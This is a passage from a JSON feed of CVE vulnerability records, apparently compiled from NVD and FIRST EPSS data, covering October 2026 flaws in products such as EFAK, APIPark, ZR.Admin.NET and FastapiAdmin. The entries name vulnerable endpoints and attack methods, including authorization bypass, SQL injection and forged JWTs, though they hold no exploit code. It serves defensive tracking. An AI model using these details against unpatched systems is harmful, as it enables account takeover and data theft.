score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111681","cveId":"CVE-2026-111681","aliases":[],"kind":"vulnerability","title":"EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack...","summary":"EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack administrator role checks. Attackers can send POST, PUT, or DELETE requests to UserController to grant themselves ROLE_ADMIN, create administrators, or delete users, gaining control of managed Kafka clusters.","detail":"EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack administrator role checks. Attackers can send POST, PUT, or DELETE requests to UserController to grant themselves ROLE_ADMIN, create administrators, or delete users, gaining control of managed Kafka clusters.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:51.063Z","updatedAt":"2026-10-16T22:17:22.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111681","asOf":"2026-10-16T22:17:22.387Z"},"epss":{"probability":0.00283,"percentile":0.20654,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111681&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111681","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111681","type":"primary","publishedAt":"2026-10-16T18:17:51.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111681&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111681, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111680","cveId":"CVE-2026-111680","aliases":[],"kind":"vulnerability","title":"APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying...","summary":"APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying their own team id in the team query parameter. Attackers can target service or app ids exposed by /api/v1/simple/services and /api/v1/simple/apps to read, modify, or delete other teams' services and applications via /api/v1/service/info and /api/v1/app endpoints.","detail":"APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying their own team id in the team query parameter. Attackers can target service or app ids exposed by /api/v1/simple/services and /api/v1/simple/apps to read, modify, or delete other teams' services and applications via /api/v1/service/info and /api/v1/app endpoints.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:50.923Z","updatedAt":"2026-10-19T14:16:59.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111680","asOf":"2026-10-19T14:16:59.370Z"},"epss":{"probability":0.00326,"percentile":0.25453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111680","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111680","type":"primary","publishedAt":"2026-10-16T18:17:50.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111671","cveId":"CVE-2026-111671","aliases":[],"kind":"vulnerability","title":"Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks...","summary":"Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks and services by id. Attackers can pass sequential ids to lifecycle endpoints in view_notebook.py, view_inferenceserving.py and view_serving.py to delete pods and take production inference endpoints offline.","detail":"Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks and services by id. Attackers can pass sequential ids to lifecycle endpoints in view_notebook.py, view_inferenceserving.py and view_serving.py to delete pods and take production inference endpoints offline.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:49.647Z","updatedAt":"2026-10-16T22:17:22.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111671","asOf":"2026-10-16T22:17:22.147Z"},"epss":{"probability":0.00309,"percentile":0.23509,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111671","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111671","type":"primary","publishedAt":"2026-10-16T18:17:49.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111669","cveId":"CVE-2026-111669","aliases":[],"kind":"vulnerability","title":"ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort...","summary":"ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort query parameter to the shared ToPage paging helper. Attackers holding the system:user:list permission can inject subquery or CASE expressions via GET /system/user/list to extract database contents such as stored credentials through blind techniques.","detail":"ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort query parameter to the shared ToPage paging helper. Attackers holding the system:user:list permission can inject subquery or CASE expressions via GET /system/user/list to extract database contents such as stored credentials through blind techniques.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:49.080Z","updatedAt":"2026-10-21T21:17:54.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111669","asOf":"2026-10-21T21:17:54.420Z"},"epss":{"probability":0.0042,"percentile":0.36025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111669&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111669","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111669","type":"primary","publishedAt":"2026-10-16T18:17:49.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111669&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111669, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111651","cveId":"CVE-2026-111651","aliases":[],"kind":"vulnerability","title":"Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any...","summary":"Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any tenant's personnel directory. Attackers can supply another tenant's tenantId to exportLoginXLS or exportNotLoginXLS to obtain XLSX files with names, login names, organization paths, mobile numbers, and emails.","detail":"Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any tenant's personnel directory. Attackers can supply another tenant's tenantId to exportLoginXLS or exportNotLoginXLS to obtain XLSX files with names, login names, organization paths, mobile numbers, and emails.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:46.217Z","updatedAt":"2026-10-16T22:17:21.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111651","asOf":"2026-10-16T22:17:21.723Z"},"epss":{"probability":0.00304,"percentile":0.22964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111651","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111651","type":"primary","publishedAt":"2026-10-16T18:17:46.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111650","cveId":"CVE-2026-111650","aliases":[],"kind":"vulnerability","title":"ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already...","summary":"ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already configured instances. Attackers can POST to /api/wizard/storage to activate an attacker-controlled S3 or OpenList provider, redirecting uploads and storage reads, and overwrite site and map settings.","detail":"ChronoFrame through 1.0.0 contains a missing authentication vulnerability in the server/api/wizard/ handlers that allows unauthenticated attackers to reconfigure already configured instances. Attackers can POST to /api/wizard/storage to activate an attacker-controlled S3 or OpenList provider, redirecting uploads and storage reads, and overwrite site and map settings.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:46.047Z","updatedAt":"2026-10-19T14:16:58.573Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111650","asOf":"2026-10-19T14:16:58.573Z"},"epss":{"probability":0.00419,"percentile":0.35885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111650","type":"primary","publishedAt":"2026-10-16T18:17:46.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111649","cveId":"CVE-2026-111649","aliases":[],"kind":"vulnerability","title":"Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by...","summary":"Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by supplying arbitrary content IDs. Attackers can enumerate sequential post_content ids via the /v1/attachment endpoint to obtain signed download URLs for other users' private, friend-only and following-only images, videos and attachments.","detail":"Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by supplying arbitrary content IDs. Attackers can enumerate sequential post_content ids via the /v1/attachment endpoint to obtain signed download URLs for other users' private, friend-only and following-only images, videos and attachments.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:45.897Z","updatedAt":"2026-10-21T21:17:53.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111649","asOf":"2026-10-21T21:17:53.847Z"},"epss":{"probability":0.00386,"percentile":0.32419,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111649","type":"primary","publishedAt":"2026-10-16T18:17:45.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111646","cveId":"CVE-2026-111646","aliases":[],"kind":"vulnerability","title":"SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET...","summary":"SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET /api/public/preview/{attachmentId}. Attackers who know or derive time-ordered snowflake file ids can bypass shared, owner, and project checks in FileServiceImpl.loadFile to read private survey attachments and respondent uploads.","detail":"SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET /api/public/preview/{attachmentId}. Attackers who know or derive time-ordered snowflake file ids can bypass shared, owner, and project checks in FileServiceImpl.loadFile to read private survey attachments and respondent uploads.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:45.440Z","updatedAt":"2026-10-16T22:17:21.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111646","asOf":"2026-10-16T22:17:21.607Z"},"epss":{"probability":0.00385,"percentile":0.32267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111646","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111646","type":"primary","publishedAt":"2026-10-16T18:17:45.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111644","cveId":"CVE-2026-111644","aliases":[],"kind":"vulnerability","title":"Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and...","summary":"Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and health routes under /api/ui lacking the get_current_user dependency. Attackers can read audit logs with login IPs, server logs and environment paths, delete episode rows, clear media-server mappings, and wipe audit history.","detail":"Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and health routes under /api/ui lacking the get_current_user dependency. Attackers can read audit logs with login IPs, server logs and environment paths, delete episode rows, clear media-server mappings, and wipe audit history.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:45.160Z","updatedAt":"2026-10-21T21:17:53.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111644","asOf":"2026-10-21T21:17:53.707Z"},"epss":{"probability":0.00368,"percentile":0.30426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111644","type":"primary","publishedAt":"2026-10-16T18:17:45.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111642","cveId":"CVE-2026-111642","aliases":[],"kind":"vulnerability","title":"FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser.","summary":"FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser. Attackers can register via the unauthenticated /api/v1/system/user/register endpoint, log in, and forge an HS256 token keeping their session_id but naming the superuser in user_name to gain superuser privileges.","detail":"FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser. Attackers can register via the unauthenticated /api/v1/system/user/register endpoint, log in, and forge an HS256 token keeping their session_id but naming the superuser in user_name to gain superuser privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:44.877Z","updatedAt":"2026-10-16T20:17:21.400Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111642","asOf":"2026-10-16T20:17:21.400Z"},"epss":{"probability":0.0036,"percentile":0.29473,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111642","type":"primary","publishedAt":"2026-10-16T18:17:44.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 